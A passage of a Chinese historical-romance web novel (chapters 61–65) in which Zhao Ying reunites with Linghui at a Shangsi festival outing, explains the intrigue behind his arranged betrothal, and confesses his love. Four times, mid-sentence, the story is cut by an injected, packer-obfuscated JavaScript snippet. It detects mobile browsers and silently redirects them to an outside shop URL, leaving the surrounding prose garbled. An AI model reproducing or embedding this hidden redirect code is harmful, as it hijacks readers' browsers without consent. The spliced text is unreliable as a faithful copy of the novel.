熟悉的小径上残雪未消,堆满枯叶,想是多日未曾有人打扫。她院中的那棵梧桐此时也仿佛陷入了沉睡,赵缨靠近时,枝头的夜枭也被惊扰,发出凄厉地叫声,抱怨着他这个不速之客的到来。 赵缨怔怔然,望着它扑腾着翅膀,远远飞走,心中有说不出的寂寥。 内室中,一切如旧,他燃起残灯,在她梳妆的案前坐下,就着微弱的光,抚摸着她留下的首饰妆盒,好些都是他送来的。她是个不爱打扮的姑娘,一件件都崭新不已,她走的时候也没想过要带。 他的目光忽然落在一个靛蓝的荷包上,细密的针脚,绣了一半的比翼,就那样放着,想是主人心灰意冷,不打算再将它完成了。 想起她坐在灯下飞针走线的样子,不知为什么,他忽然就红了眼眶。 这一次,是灵徽不想要他了,那个从小就无比依恋他的女郎,选择了独自面对一切,选择了放弃对他的信任和依赖。 赵缨拿起荷包,将它掖在胸口,慢慢地走到榻前,和衣躺下。榻上似乎还残留着她的气味,清甜的,惑人的。 记得他第一次将她抱在怀中时,也是这种味道,仿佛盛绽的梨花,一瞬间便将他拽入无边春日之中。阴霾密布的人生,第一次被光照亮,从此惧怕黑暗,贪恋她给予的不敢奢望过的一切美好。 世间所有,都不及她。 61. 六十一、上巳 宝宁四年二月,当第一缕春风吹到建康城时,赵缨终于完成了修筑卫城的任务,得了天子允许,返回荆州。 一行人浩浩荡荡,昼夜不休,到刺史府时,也已是半个月之后。 彼时夜色深浓,府中的桃李已尽数绽放,在夜风中,摇曳出动人的姿态。 仆从结绿侍候在内室,帮赵缨解下佩刀,低声相询:“都督身上伤势未愈,为何这般匆匆赶路?” 他如今最重要的身份是四州都督,所以结绿便改了称呼。 赵缨不大习惯人服侍,自己动手脱下外衣。动作间,不觉扯到了肩上的伤口,呲牙吸了口气,才缓声道:“上巳节就要到了。” 这的确也是个重要的日子,但依都督的性子,他断不会为了过一个节,就这般没日没夜的赶路。 结绿不明白,赵缨也不解释。刚要退下时,又听赵缨问道:“这几日,宜城那边如何?” 说来也巧,女君的封地宜城离襄阳颇近,而荆州刺史府恰也设在襄阳。所以对于女君的消息,结绿也算了如指掌。 他替赵缨打理内宅事务很多年了,知道赵缨最在意什么。 “女君一切都好,前几天总爱夜里吃东西,一不留神积了食,可把星台她们急坏了,还特地去请了一趟医士。”结绿说完,便看到赵缨唇角牵起了一丝温柔的笑意。 “也别太纵着她,她脾胃一直不太好,克化不动的东西少让她吃。”赵缨叮嘱到,声音带着难得的温柔。 她在宜城过得自在,那是她的封地,没有人敢去招惹她,伤害她。其实在没有他的地方,圆月也会过得很好,是他太自负,以为她会一直等在原地。 …… 那一夜,灵徽也梦到了赵缨。 他仍是少年时的模样,板着一张脸,给她受伤的膝盖上药。态度虽然凶了些,不过手上的动作却轻柔。 少年的轮廓已初长成,利落又干净,她禁不住用手去触。白嫩的指尖轻轻落在他高耸的鼻梁上,还未滑下,就被他反握住了手。 不知是羞赧,还是尴尬,她骤然红了脸,忙往后缩去。但他却得寸进尺,追上来将她抱在了怀中。下一瞬,他的唇就落了下来。 灵徽睁大了双眼,发觉在这一刻,眼前的他已褪去了所有的青涩,完完全全成了一个成熟英武的男子。而她在他的怀中卸掉了全部的力气,柔软地像是丢掉了骨头一般。 原来不是梦啊,他们都已长大,再不会有曾经那样纯洁无垢的情谊。 那一刻,恍然若失,望着白惨惨的月光,辗转难眠。 …… 再次醒来时,外面已天光大亮,鸟声虫鸣透过窗纱传了进来,想来又是晴好的一天。 星台听到帐中动静,知灵徽已醒,上前打起床帐,笑道:“太守夫人不是邀女君去踏青吗?女君怎么睡到这会儿了。” 她口中的太守夫人,是襄阳太守刘建的夫人韩氏。刘建自诩前朝皇室之后,为人傲慢得很,但他的夫人却很好相处,热情直爽,最喜欢张罗冶游宴席之事。宜城在襄阳郡治下,灵徽也不好总是推辞,偶尔也会参加。 但今日她实在困倦,打着哈欠对星台嘱咐:“想个办法推了吧,今日我不打算出门了。” 话音还未落,云阁已端着铜盆进了屋,笑着问她:“女君可知今天是什么日子?” 灵徽摇头:“反正不是我的生辰。” 她自离开建康,不仅没了束缚,心事也似乎少了许多。偶尔使些小性子,倒又像回到从前在洛城一般。 云阁将睡眼惺忪的灵徽牵过来,温柔地替她编起衣袖,服侍她洗漱,又在耳边提醒道:“今日可是上巳节啊!” 上巳日,郊游踏青,水边祓禊,可去灾祸。 灵徽这才睁开了眼睛,由着云阁她们又将她带到妆台边,替她梳妆打扮。 之前是女冠,到底不能太艳丽招摇,如今在自己的封地,她也没了约束,想打扮也可,不想打扮也可。 云阁梳妆功夫终于有了用武之地,又是贴花钿又是抹胭脂,不一会儿镜中便出现一个般般入画,桃羞杏让的容颜。灵徽本是冰玉般清而冷的样貌,但这么一打扮,隐隐多了几分艳色,少了一些拒人千里的疏离。 在鬓边插上最后一支步摇,云阁左看右看,满意地不得了:“女君今日之容,不知会让几个少年郎失足掉到水中去。” 星台也笑着拿出一件浅妃色衣衫,献宝似的捧着:“今日装扮,配着这件最合适。女君尚未出阁,万不可再穿那些老气横秋的颜色了。” 灵徽今日只纵着她们,但笑不语。 軿车缓缓行在春风之中,河边青草新绿,茸茸方没过马蹄。夹岸桃花盛绽,揽尽芳华。大概是花朵开得太密,一枝枝都慵慵懒懒地低垂着,由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305619|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桃花构成的盛景便绵延了整个河岸,好似将天地都染成了桃花色。 灵徽掀起帐幔,望着眼前美景,心情十分舒畅。 韩夫人是个会张罗的人,早就选了一处视野开阔的空地,在那里提前设好了围屏,茵席,坐榻,只等宾客前来。 灵徽的车还未停下,便听到一阵笑声,正是出自韩夫人。她与几个妙龄女郎也不知在说什么,看上去聊得极开心。但一看到灵徽的车驾,便舍了那些人,亲自带着侍女前来迎候。 也不用云阁她们相扶,她一手握住了灵徽的柔荑,将她扶下车来,笑道:“女君再迟些,可就错过好玩的了。” “有什么好玩的?”灵徽被她牵了手,略局促,却还是跟着她的脚步来到围屏这边。 这里已聚起了数十个女郎,皆衣着不凡,妆容美丽,明焕鲜艳地仿佛夺走了一半春光。见她出现,齐齐俯身,对她行礼,唤她“女君”。 却唯有一人,坐在上首,不过打量了她几眼,唇角带着矜持的笑容。 “这是南阳王妃,今日特从宛城而来。”韩夫人低声向灵徽介绍道。 南阳与襄阳比邻,南阳王妃来此踏青,也没什么新奇的。灵徽便上前,叫了声“王妃殿下”,行礼如仪。 那王妃看着不过二十许,瘦高身材,相貌算不得美丽,却自有一番清雅之气。见灵徽行礼,也只是浅浅笑了笑,略寒暄了几句。 她身边的女子倒是很夺目,大约十七八岁,肌肤如雪,艳光逼人,一见到灵徽便笑:“原来这就是宜城君啊,早听人说宜城君容貌出众,今日一见果然如此,便将我等都比下去了。” “这是王妃的女弟,王十六娘,闺名唤作令华。”韩夫人知她不识,便又提醒。 等等……这名字好生熟悉……王氏令华 灵徽心里陡然一颤,笑容几乎都僵在了脸上。这不就是那日王裕口中的“小女令华”么?她…… 赵缨不看好他的小未婚妻,怎么让她跑到襄阳来了!灵徽胸口闷闷的,只觉地一口气半天上不来,然后变成了无数小虫子,在啃啮着她的心。 不知说了句什么,勉强维持了一个虽然僵硬但算得上得体的笑容,匆忙落了座,但方才赏景的好心情一扫而空,只觉得花气太刺鼻,胸口疼的老毛病似乎又犯了。 得赶紧找个借口离开了,她实在不想和这些人有什么瓜葛。 62. 六十二、重逢 可惜,她还未找好理由,便听到几声马嘶,花木那边走过了几个朗声交谈的男子。 其中一人,白衣玉冠,身材修长,正是许久未见的赵缨。 很少见他穿这种颜色,倒衬得他十分俊秀清致。和风吹过,花瓣如雨而落,他的目光便在此刻寻了过来,看着甚是温柔多情。 灵徽的心没来由地刺痛了一下,但她并未躲避他的目光。 仰起头,负气般地与他对视,唇角带着毫无温度的敷衍笑容。 这时,韩夫人却率先站了起来,上前行礼:“妾韩氏,见过南阳王殿下,见过赵都督。” 灵徽这才收回了目光,随着众人一起,对着那个面容俊雅,缓步而来的紫衣男子行礼。 那男子只是温和地笑着,命大家起身,和气道:“今日上巳,本王随都督一道赶个热闹,但愿没有扰了诸位雅兴。” 他的声音很好听,说话慢悠悠的,像是脾气很不错的样子。灵徽依稀从他脸上看出些先帝的影子,一时感怀,便没有回避对方同样投射而来的目光。 “宜城君也在?”他笑着点了点头,又道,“今日谢相有事未到,真是不巧。” 他口中的谢相便是谢衍,灵徽与谢衍的婚约早就在建安城里流传,南阳王知道也不奇怪。不过这里的人直到的不多,所以他一说完,便有几个女子窃窃私语,笑容羡慕又暧昧。 说起来,南阳不远,但灵徽这些时日却从未见过谢衍。他定是被自己伤到了,见面徒增尴尬,不如不见。 灵徽并不理会南阳王的调侃,神色如常,自然也未多看赵缨一眼。 南阳王妃神色始终淡淡的,见到丈夫也并未上前逢迎,只是独自饮着茶,像是蕴着什么心事。 南阳王却很爱护这位王妃,一来便坐到她身边,用手触了触她手中的茶盏,温声道:“茶都凉了,怎么还在喝,回头又该说肠胃不舒服了。” 说罢,命侍从为妻子重新煮茶,他自己则拭干净手,拈了果子亲自递到她手边。 这对夫妻,看着甚是恩爱。 灵徽并无窥探别人生活的爱好,拿起自己手中的残盏,要入口时,却发现自己的茶也凉了。 一杯新茶递到了她面前,手指纤长,上面却生着薄茧,是她再熟悉不过的一只手。 记得她以前打趣过,明明是个武将,偏生了这么文气的手,这要是上了战场,怎么能拿得动那么重的兵器。 那一日,他拿着刀,在她面前舞了半晌,像是急切地需要证明什么似的。 往事跌跌撞撞地冲进脑海中,让她忽然伤感不已,也让她心中的烦闷之气愈盛。 她负气不去接,冷哼一声,道:“都督如此体贴,若是被你未过门的娘子看到,怕是又要生误会了。” 他也不辩驳,就那样端着茶,双眸里流淌着深浓的情意:“怎么瘦了这么多,定是没有好好吃饭。我那里有个洛城来的庖厨,我把他给你送过去,可好?” 若说执拗,灵徽这么多年就没有胜过赵缨,只不过他喜欢用温和沉稳的表象迷惑人罢了,每次倒显得是她任性。 譬如此时,他就这么端着茶,任她冷落着,还一副任劳任怨的模样。 灵徽只好接过茶盏,语气算不上好:“我不要你的人,今后不要再送人过来了。” 赵缨不恼,只看着她笑:“云阁和星台也是我遇上,然后送回你身边的,怎么,连她们也不要了?” 这便是强词夺理了。灵徽不由柳眉倒竖,瞪了他一眼。 她的脾气一直不算好,以前在洛城时,半点委屈也受不了,尤其喜欢在他面前耍性子。 重逢后,她变了许多,心事喜欢藏在心里,总是敛着脾气委屈求全,这些改变让他心疼不已。 他倒宁愿她还是从前那般,有不开心的自由。 此时见她这般模样,赵缨竟然觉得安心愉悦。 但灵徽并不愉快,反而觉得如坐针毡。 他们坐得太近,已经有探究的目光向他们投来,她本就声名狼藉,不在乎多一重流言,可她不想与他再扯上什么关系。 曾经怎样的亲密无间,辅车相依,也不过是过去的事情。她喜欢回忆,却不代表她会执着在回忆中,抱残守缺,画地为牢。 还未想到怎么逃离,就见一女子袅袅向他们走来,身姿若柳,芙蓉如面,款步到赵缨面前,声音很清越:“建康一别,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13317893|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想这么快又见到都督了。” 说罢,她嫣然一笑,将手中的酒盏奉上:“一盏薄酒,且敬重逢。” 此女正是王令华。 赵缨没有多余的表情,接过酒,浅饮一口,点头道谢。 王令华却很开心的样子,在赵缨不远处坐下,与他侃侃交谈起来:“都说建康繁华,在我看来襄阳也不差什么。都督将这里治理的很好,怪不得我阿父一提起都督,总是颇多赞誉。” 赵缨不置可否,敷衍了一句:“相国抬爱罢了。” 他的视线看向了灵徽。她似乎对他们的谈话半点兴趣也没有,自顾自地和手中的核桃斗气,不用工具,就那么徒手捏。 但很显然,她对那个坚硬的东西无能为力,只好颓然丢开。 赵缨被她逗笑了,伸手将她丢开的核桃拿回手中。微微用力,坚硬的壳应声碎裂,他一点一点取出果肉,放在帕子上,递给了她。 一套动作娴熟至极,像是经常这样做。 灵徽也不客气,捧着帕子,将里面的核桃风卷残云的吃了干净,只是余味过于苦涩,她忍不住蹙起了眉头。 “都督与女君十分熟稔?”王十六娘试探地问,大大的眼睛里带着满满的好奇。她生着一个讨喜的长相,总是笑眯眯的,任谁也不好意思拒绝她。 但赵缨显然是个例外,他一直都是那种不解风情的存在,冷硬的像块石头。听此一问,回答道:“她于我而言,是这世上最重要的存在,怎么,女郎竟不知?” 赵缨语带讽刺,谁听不出来。若灵徽是王十六,定会很尴尬。可王令华却只是僵了一下,笑得依旧妍美:“哦,我想起来了,女君与都督是一同长大的情分,那自然是非比寻常的。” 说罢,她又斟满一杯给灵徽,口中道:“这一杯,敬女君。” 灵徽刚打算接过,酒盏却落到了赵缨手中,他蹙眉,语气不悦:“吃伤了脾胃,还敢饮酒。” 说罢,将盏中酒一饮而尽,脸上仍是淡淡的,并无抱歉之意,也不打算解释什么。 赵缨是个从不露锋芒的人,很有城府,很能沉住气。灵徽觉得他和王令华之间很是奇怪,但怪在哪里,她也说不清楚。 63. 六十三、解释 灵徽还是寻了个借口提前离开了,毕竟春光再好,有人在自己眼皮子底下眉目传情,也难免扫兴之至。 星台不知她的心事,还一直在耳边夸赞王令华的琴技:“那王女郎生得漂亮,琴也抚得好,方才一曲下来,连奴婢这种不通音律之人都听呆了。” 可不是么,春日里弹奏《凤求凰》,果然恰如其分。别说琴弹得好不好,单那多情的眼波,旖旎的情思,听不懂便是傻子了。 “将琴代语兮,聊写衷肠。何时见许兮,慰我彷徨……”听听,也不知是说给谁听呢。 赵缨又不是不通音律,相反,他在音乐上的造诣连阿父都常常夸赞。方才若是给他支洞箫,他怕是忍不住要和人家琴瑟和鸣呢! 云阁一向比星台细心,对于灵徽和赵缨之事也知道的更多些。灵徽虽然什么都不说,但满城传遍的赵缨要娶王家女的事情,灵徽有多介意,她不是感觉不到。 可惜,赵郎君心思莫测,女君想法亦难明。 云阁忍不住叹气,但见灵徽怏怏不乐,忙又转了话题:“都督今日似乎很忙,短短半日,就有五六拨人来找他。” 灵徽心不在焉,听她这样称呼赵缨,还有些不习惯:“你都叫他都督了,便知他如今位高权重,忙些不也正常吗?” 她今日耐心不好,说出的话就像是刀子一般,也不知是要伤别人,还是要伤自己。 星台没注意,听云阁那样说,想起了这些日子的传言:“都说匈奴集结了二十万人马,兵分三路南下,其中一路便直奔南阳而来,足足有八万人。” “如此军事机密,怎会在坊间广为流转,此传言不一定为真。”灵徽思忖了片刻,道。口中虽如此说,心里却并没有如此笃定。匈奴刘棼野心勃勃,趁大魏内乱不休,挥师南下也不是不可能。 赵缨主官荆湘司梁四州军事,此番匈奴若来,他身上的担子会很重很重。 灵徽恼恨自己心软,明明他身上还背负着晋阳叛徒的嫌疑,明明他背信弃义要与王家结亲……但她就是不肯相信,还是会担心他。 正在郁闷中,忽听得身后马蹄声响起,快要靠近軿车时,却减缓了速度,只是跟随在后,亦步亦趋。 星台掀开车帘,看了一眼,然后冲着灵徽眨眼睛。 灵徽狐疑,亲自去看。 軿车后,骏马上,赵缨白衣落拓,春日的风拂过他的发,花树上落花如雨而下,坠满他的衣衫。 他很少有这样潇洒的样子。 不知为什么,心上拂过一丝怅惘。这些日子,找尽了理由去疏远他,甚至是厌恶他,但始终拗不过自己的心。在心底里,他绝不是一个会背叛的人。 要给他一个机会吗?会不会因为一时的心软,让自己堕入万劫不复的境地。 灵徽放下车帘,沉默地将头靠在车壁上,将那如潮水般徘徊跌宕的感情,一寸一寸的压往心底,但眼睛还是忍不住泛起酸意。 然而那马蹄声仍旧不徐不疾地跟着,一声又一声,声声敲在心口上,好像做好准备,一直相随下去。 终于还是灵徽先忍不住了,吩咐车夫停下,然后径自跳下马车。 赵缨坐在马上,望着站在眼前的灵徽,笑得温柔。 皎皎如月,灼灼如华,婀娜绰约,明眸善睐。尽管春光如许,但桃花得气,皆因美人。他的女郎,终有一日,长成了连他都惊叹的样子,而他竟然开始患得患失起来。 赵缨忽然打马上前,弯腰伸手,在灵徽的惊叫声里,将她拦腰抱到了自己身前,然后在云阁等一众人的怔愣中,策马扬长而去。 “咱们可要追上去?”星台忐忑地看向云阁。 云阁摇头:“那个人是赵郎君啊。” 有他陪着,女君自然安全无虞,他们何须担心。 赵缨的马停在了一弯溪水边,夹岸绿柳濯濯,溪水潺缓,清澈见底。 灵徽挣扎累了,放弃了抵抗,只僵着身体,用沉默来反抗赵缨的无礼。 他待自己,一贯温柔,何曾这般粗暴过。 灵徽鼻子一酸,就要落下泪来。赵缨显然料到了这一点,刚将她抱下马,便揽住她,柔着声音道歉:“圆月,今日是阿兄唐突了。可你我之间有误会,若不解释清楚,我食不下咽,辗转不眠,你给我个机会解释,好不好?” 灵徽本就怒气未消,见他如此, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13334198|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更有一股委屈弥漫在胸口,怎么也无从发泄。于是低头,重重地咬上了他的肩膀。 他的皮肉太硬,硌得牙疼也未伤他分毫,但奇怪的是,他却颤抖着,呼吸仓促又缭乱,像是忍着巨大的痛苦。 灵徽抬头,触到了他苍白如纸的面色。 “你……”她隐隐猜到了什么,还未探查究竟,就见那白色的春衫之上,血迹缓缓渗出,斑驳成一片。 赵缨下意识地捂了捂,笑得匆忙:“一点小伤,不碍事的。” 从小到大,听他说过太多次这句话,无论他受多重的伤,从来都是“不碍事”“没关系”“圆月不要担心”……他是个不知道爱惜自己的人,以为自己有什么钢筋铁骨,以为自己任何时候都能化险为夷! 灵徽的眼中忽有泪水大颗大颗落下,喉口哽咽,怎么都说不出话来。 赵缨最看不得她这样,将她抱得更紧了一些。心中却只怪自己,要不是听了结绿的建议,穿了这样浅的颜色,她怎会发现这样的端倪。 一时懊悔不已,但那般情绪弥漫之间,又隐隐闪过一丝愉悦。她在乎他,这些泪都是为了他而落。 “之前在徐州被一箭射中了肩膀。这不是什么大事,战场受伤都是难免的,你看离心口很远,不要紧的,是不是?”他拍了拍她单薄的脊背,安抚地揉了揉她的发,如以前常做的那般。 “你与那冯籍早有勾结,他杀你干嘛?”灵徽嗡着声音,反驳道。 赵缨愣了一下,旋即沉了声,敛了方才的调笑之意:“你从哪里得到消息,说我和冯籍有勾结……” 他松开了怀中的女郎,看着她的眼睛说道:“是,我的确很欣赏他的才能,早有招抚之意。但是,徐州之乱是真,我前去平叛也是真,若不是打得让他退无可退,如何能让他心甘情愿投降。” “何况,谁会以百姓和将士之命为饵,只为谋取自身私利?圆月,师父教导过我们,有些事不可为,赵缨此生也绝不为。如果说徐州之乱我做过什么,不过就是因势利导,将计就计罢了。这一点,我与令狐望想法一致。若不让王冀也搅入此局,恐怕再无可能动摇王冀分毫,师父之仇,便是无望。” 64. 六十四、情歌 他说得确有道理,可有些事情却讲不通,譬如王裕为何忽然要将女儿嫁给他,他也并没有拒绝。譬如他为什么又回了荆州,那个王家女郎紧随其后…… “不能以百姓之命为饵,便要以自己的婚事为饵吗?我竟不知令狐望有这般嗜好,惯爱用这样上不了台面的计策。”灵徽止住了哭泣,离开了赵缨的怀抱。 她极易心软,却并不容易被情绪左右。当今日所有的委屈和幽怨随着泪水流淌而出时,头脑慢慢就走向了清明。 赵缨肯解释是好事,但他们之间并不是误会那么简单。与其守着小儿女的情态来猜忌,不如冷静下来,将所有发生的事情都理清楚,忠奸善恶总会有端倪。 赵缨再清楚她不过,知道若是话说不透,他会永远失去她的信任,今后怎样去弥补都会是惘然。 “与王家的婚事,非我之计,而是王家之计。我用令狐的计策,让王冀在徐州吃了亏,却没料到王裕以婚事为离间,让我也失了皇帝的信任。此次,两败俱伤。”赵缨自嘲地笑了笑,伸手替灵徽理了理她被风吹乱的发。 灵徽低头认真的思索一番,方明白了其中的纠葛。 皇帝既想逃避王家的掣肘,又不愿全盘信任一个靠军功起家的寒门,更惧怕看到二者联手,所以才有了如今的局面。 当初连她都能看到的事实,王裕如何看不到。当预感到王家会沉入徐州泥潭之中,他顺手就连赵缨一起拽下,只要不再多一个大权在握的政敌,他们就还有东山再起的机会。 “老狐狸……”灵徽切齿,嘟囔了一句。 赵缨叹气道:“此次王冀明升暗贬,心中定然积怨。王裕把控内朝,门生故旧,姻亲关系遍布天下。只怕王家还有后招,你我不可不防。” 灵徽挑眉,揶揄他:“你不也是他的姻亲么,人家女郎一曲《凤求凰》,端的是情意绵绵,若赵都督闻弦歌而知雅意,怕是用不了多久便会和南阳王成了连襟。赵都督背靠王家这棵大树,又与诸侯王相交甚笃,到时荆襄九郡,乃至半个大魏,怕是都得听你的。” 她犹自说着自己的话,半点没有注意赵缨的动作。 只见面前有东西晃过,头顶便落了个水淋淋的东西,微凉的水珠顺着额头滑下,蜿蜒过她的脸颊,掉落于她的下颌。 她打了个寒颤,定睛一看,罪魁祸首是赵缨手中那支沾了溪水的柳枝。 见她狼狈,赵缨笑得开怀,口中却念念有词:“绿柳生发,净水荡尘,去疾无灾,平安康顺。” 灵徽气得跺脚:“你怎么每年都要来这么一次,水很凉的!” 赵缨宠溺地笑着,又将柳枝递给灵徽:“师父说你自小体弱,要我一定记着,每年上巳节都要为你祓禊去灾。你若是不高兴,那就给我也来一下,我保证不躲。” 灵徽睚眦必报,自然不放过这个机会。沾了溪水的柳枝直往赵缨身上招呼,溅得满身满脸都是水,才停下了动作。 看他形容狼狈却又不好发作的样子,灵徽不觉心情大好,双眸灼灼,笑意满眼。 赵缨见此情景,忽然背对她,缓缓蹲下身来,他的双手于身后圈了圈,做出邀请。这个动作,又将她拉回了从前。仿佛已经娴熟到不需要思考,她本能上前几步,趴在了他的脊背之上。 他的身躯如山巍峨,背着她向前走时,亦如从前,轻松自在,脚步一丝不乱。灵徽用手圈住他的脖子,嗅着他身上干净的草木气息,恍惚以为自己又回到了过去。 “子惠思我,褰裳涉溱。子不我思,岂无他人?狂童之狂也且!子惠思我,褰裳涉洧。子不我思,岂无他士?狂童之狂也且!”① 有人遥遥唱着一首古老的情歌,歌声顺着溪水飘来,旖旎柔婉,诉说着炽烈的爱意。上巳日,宜相会,男女之节也。 那歌曲唱了一遍又一遍,当灵徽终于听懂了词中之意时,顿觉羞赧不已,将头深埋到了赵缨的颈中。 赵缨闷闷地笑了,声音轻柔:“我怎敢无思,若是圆月另寻了他人,我岂不追悔莫及。” 灵徽勉力露出半面羞红的脸,不依不饶道:“我可不会弹什么《凤求凰》,也没有明眸善睐的本事。” 赵缨侧首,用唇触了触她的脸颊:“你又怎知那曲《凤求凰》是奏给我听的呢?” “座中男子只有你和南阳王,不是你,难道还是……”灵徽说着,忽然睁大了眼睛,不可思议地望着赵缨。 南阳王分明是她的……王令华竟然如此大胆,此次目标竟不是襄阳,而是南阳…… 南阳王妃可知道? “圆月,我要被你勒死了……”赵缨提醒时,灵徽才注意,自己因为太震惊,手上的力道都失了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13344794|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分寸。 “王家家风严苛,怎会允许她这般行事。”灵徽不解。 赵缨冷哼,道:“所以,我才成了最好的掩护,不知道的还以为她对我多情根深种呢。圆月,这次你必须要救我。” 灵徽摇头:“赵都督,自己种下的因,自己就要吃下果,我可帮不了你。” “你可以。”赵缨忽然停下脚步,将她放了下来。 他迫着她看向自己,一双眼眸幽黑深杳,仿佛要将她吸进去一般。然后用轻而缓的声音,一字一句道:“圆月,只要你愿意,你就可以救我于水火。” 灵徽的呼吸一窒,心慌乱的无路可逃,却还是撑着面子,装作茫然无知:“这话说得,我确实糊涂了。你是大都督,我只是个小女子,我如何能救你?” 赵缨忽然就局促起来,一张脸涨得通红,声音都不成调子:“圆月,我此生想要相依相伴的人从来都只有你。这份自私又龌龊的心思,我从不敢说出口,我怕你觉得我待你的所有好,都只是图谋不轨。我也害怕你心中,只当我是阿兄,我若说出来,恐怕连亲人都做不了了……” 他横了心,一股脑地将心中的话一股脑都说了出来,有种视死如归的壮烈。他甚至不敢看灵徽的眼睛,他怕从她的眼眸里看到的只是冷漠,轻蔑和嘲讽。 可是她却始终没有说话。 漫长的静默里,他如同一个将要被惩处的犯人一般,连呼吸都不敢,只是垂着头,全没有了平日的威风凛凛。 “你觉得这是非分之想,是对我们这么多年情意的亵渎?”许久,她才开口,却是反问的语气。 赵缨如同置身于冰天雪地间,浑身的血液都停止了流动。 或许他是唐突的,哪怕灵徽对自己有依赖,他也不该会错了意,生出这样的冲动。是谁给了他这样的勇气,是那个雪中的吻,还是今日上巳节的春风。 他缓缓点了点头,因为自己的冲动而不知所措。 然而下一瞬,她柔软的身体带着桃花的气息缓缓靠近,她的唇贴在了自己僵硬的脸颊上,声音轻轻地拂过:“这算什么非分之想,等你攻入洛阳,杀了刘棼,我自当嫁给你。” ①出自《诗经·郑风·褰裳》,大意是一个女子抱怨情郎,你若是喜欢我,就涉江渡河来看我,你不思念我,我又不是没有别人喜欢…… 65. 六十五、过往 她究竟知不知道,自己有多能蛊惑人心?想必是不知道的。 她本无心,是他自己迷了心窍,心甘情愿地被她驱使。又或者她只是说中了他的心事和愿望,所以他才无法拒绝。 赵缨几乎没有思忖,直接道:“我本就立志,此生必收复故土,报师父血仇。这怎么能算条件呢?” 不是说他与匈奴有勾结吗?为什么对于她的试探,他可以如此坚定?究竟是他太过机敏,还是这些本就是别人编造出的骗局。 她本来就该信他的,对不对? 灵徽不知道,也不敢去赌,她的心中,陡然思绪万千,愁绪亦万千。 “圆月,你的要求,真的只是这个吗?”赵缨觉得幸福来得过于突然,心中难免忐忑,仿佛一直仰望的月亮,忽然有一天被抓在了手中,可他很害怕,那只是一抹水中的倒影。 灵徽伸出手去,握住他的手:“这是我的誓言,谁又敢违背誓言呢?” 她曾起誓:北地不收复,血仇未报完,绝不出嫁。若他真的可以做到,为什么不嫁呢? 她知道自己想要的是什么,年少时便知道。 那一日她就坐在秋千架上,梨花映着溶溶月色,飘散在仲春的风中。白衣银甲的少年就那样突兀的出现,带着矜持的羞涩,给她转达着他阿父的话。 她其实一句都没听进去。 阿父的话,来来回回都是那些,无非是满满的亏欠,空洞的关心罢了。他扔下女儿一个人跑到边关去守城,一守就是那么多年,若是关爱,怎会舍得。 她只觉得眼前这个少年生得很好看,好看到她心坎里了。不是时下最被追捧的纤弱精致,做作风雅。他高大又英气,周正又俊朗,有风沙磨砺过的阳刚。哪怕官话说得磕绊,乡音犹存,也掩盖不了璞玉浑金的气质。 说来也怪,她一面怨恨着阿父,一面又无比向往他为自己构建的金戈战鼓,铁马冰河的神话。 这个人满足了她所有的向往,让她梦中的轮廓,第一次有了清晰地模样。 她其实可以很早就嫁给他的,可是,人这一辈子,禁锢太多太多,变数太多太多。 乳母说,他是寒门,就算立再多战功,阿父也不会将自己许给他。就算阿父同意,弘农杨氏也不会同意。士庶不通婚,虽无明法规定,但早就是约定俗成。 她等啊盼啊,却只盼来了和琅琊王氏的一直婚约。 彼时年少,不懂相思,心头只觉得遗憾,却也很快接受了来自于皇帝的赐婚。只说服自己那无法更改,而且琅琊王家的九郎容貌甚好,性格也温和。 可他却很受伤害,自此去了晋阳,宁可醉卧沙场,也再不回洛城一步。 再后来,便是晋阳城破,阿父战死,他失去了消息。他们离散了三年,她已经不再是当年那个自私任性,爱恨皆写在脸上的小女郎了。经历过的东西,都成了心头密密麻麻的伤疤,成了午夜梦回挥之不去的梦魇。 再次归来,他们之间已经横亘着晋阳城的万千人命,横亘着她和慕容桢的过往,也横亘着她的难以释怀。 她明白自己的心,却不敢相信自己的命。 “既然阿兄有顾虑,那么……我便再说一事。若是阿兄也觉得可以接受,那我再无话可说。”灵徽声音微哑,眸光黯淡了下去。 